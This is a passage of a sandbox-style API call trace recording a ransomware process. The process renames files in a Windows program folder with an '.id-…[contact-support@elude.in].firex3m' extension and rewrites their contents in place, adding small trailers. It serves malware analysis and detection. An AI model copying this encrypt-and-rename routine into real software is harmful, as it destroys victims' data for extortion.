Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48723b3d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x313fd20, dwReserved1=0x6dc910, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4ec0 [0218.940] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0218.940] Sleep (dwMilliseconds=0x1) [0220.356] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x313ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml") returned 1 [0220.356] GetProcessHeap () returned 0x630000 [0220.356] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5130) returned 0x6fe3bb0 [0220.356] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.357] CloseHandle (hObject=0x4c0) returned 1 [0220.357] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.357] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.358] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4e00 [0220.358] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0220.358] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.358] GetProcessHeap () returned 0x630000 [0220.358] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0220.358] GetProcessHeap () returned 0x630000 [0220.358] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0220.358] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.358] ReadFile (in: hFile=0x4c0, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x313ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.361] GetProcessHeap () returned 0x630000 [0220.361] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0220.361] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.361] WriteFile (in: hFile=0x4c0, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x313ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.361] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.361] WriteFile (in: hFile=0x4c0, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.361] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.361] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.361] CloseHandle (hObject=0x4c0) returned 1 [0220.361] GetProcessHeap () returned 0x630000 [0220.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0220.362] GetProcessHeap () returned 0x630000 [0220.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0220.362] GetProcessHeap () returned 0x630000 [0220.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0220.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x494b312b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0xc3c7496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0220.362] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.362] Sleep (dwMilliseconds=0x1) [0221.967] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml", len=0x81 | out: pbstr=0x313ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml") returned 1 [0221.968] GetProcessHeap () returned 0x630000 [0221.968] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x519c) returned 0x6fe3bb0 [0221.969] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0221.969] CloseHandle (hObject=0x674) returned 1 [0221.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.969] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x2e0073, dwReserved1=0x6d0078, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0225.785] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0225.786] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0225.787] GetProcessHeap () returned 0x630000 [0225.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0225.787] GetProcessHeap () returned 0x630000 [0225.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa9c8 [0225.787] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.787] ReadFile (in: hFile=0x4e8, lpBuffer=0x74aa618, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesRead=0x313ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.789] GetProcessHeap () returned 0x630000 [0225.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0225.789] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.790] WriteFile (in: hFile=0x4e8, lpBuffer=0x74aa9c8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa9c8*, lpNumberOfBytesWritten=0x313ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.790] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.790] WriteFile (in: hFile=0x4e8, lpBuffer=0x74aab67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aab67*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.790] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.790] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.790] CloseHandle (hObject=0x4e8) returned 1 [0225.791] GetProcessHeap () returned 0x630000 [0225.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa9c8 | out: hHeap=0x630000) returned 1 [0225.791] GetProcessHeap () returned 0x630000 [0225.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0225.791] GetProcessHeap () returned 0x630000 [0225.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0225.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c867f08, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x313fd20, dwReserved1=0x74aa618, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0225.957] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.957] Sleep (dwMilliseconds=0x1) [0225.990] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html", len=0x6f | out: pbstr=0x313ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html") returned 1 [0225.990] GetProcessHeap () returned 0x630000 [0225.990] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x517c) returned 0x6fe3bb0 [0225.991] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0226.526] CloseHandle (hObject=0x4d4) returned 1 [0226.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.527] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0226.529] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0226.529] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0226.529] GetProcessHeap () returned 0x630000 [0226.529] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9d01) returned 0x7224598 [0226.529] GetProcessHeap () returned 0x630000 [0226.529] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9d01) returned 0x73bbb38 [0226.529] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.529] ReadFile (in: hFile=0x4d4, lpBuffer=0x7224598, nNumberOfBytesToRead=0x9ce0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x313ff0c*=0x9ce0, lpOverlapped=0x0) returned 1 [0231.999] GetProcessHeap () returned 0x630000 [0231.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71769f8 [0231.999] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.999] WriteFile (in: hFile=0x4d4, lpBuffer=0x73bbb38*, nNumberOfBytesToWrite=0x9ce0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bbb38*, lpNumberOfBytesWritten=0x313ff0c*=0x9ce0, lpOverlapped=0x0) returned 1 [0233.189] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.190] WriteFile (in: hFile=0x4d4, lpBuffer=0x73c5817*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c5817*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.789] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.789] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.789] CloseHandle (hObject=0x4d4) returned 1 [0233.934] GetProcessHeap () returned 0x630000 [0233.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73bbb38 | out: hHeap=0x630000) returned 1 [0233.937] GetProcessHeap () returned 0x630000 [0233.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0233.937] GetProcessHeap () returned 0x630000 [0233.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71769f8 | out: hHeap=0x630000) returned 1 [0233.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x514d0a49, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9d1c, dwReserved0=0xc3c7496, dwReserved1=0x7224590, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d54c0 [0233.937] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0233.938] Sleep (dwMilliseconds=0x1) [0235.636] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x313ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml") returned 1 [0235.636] GetProcessHeap () returned 0x630000 [0235.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd0) returned 0x6fe3bb0 [0235.636] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0235.637] CloseHandle (hObject=0x6e4) returned 1 [0235.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.637] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, 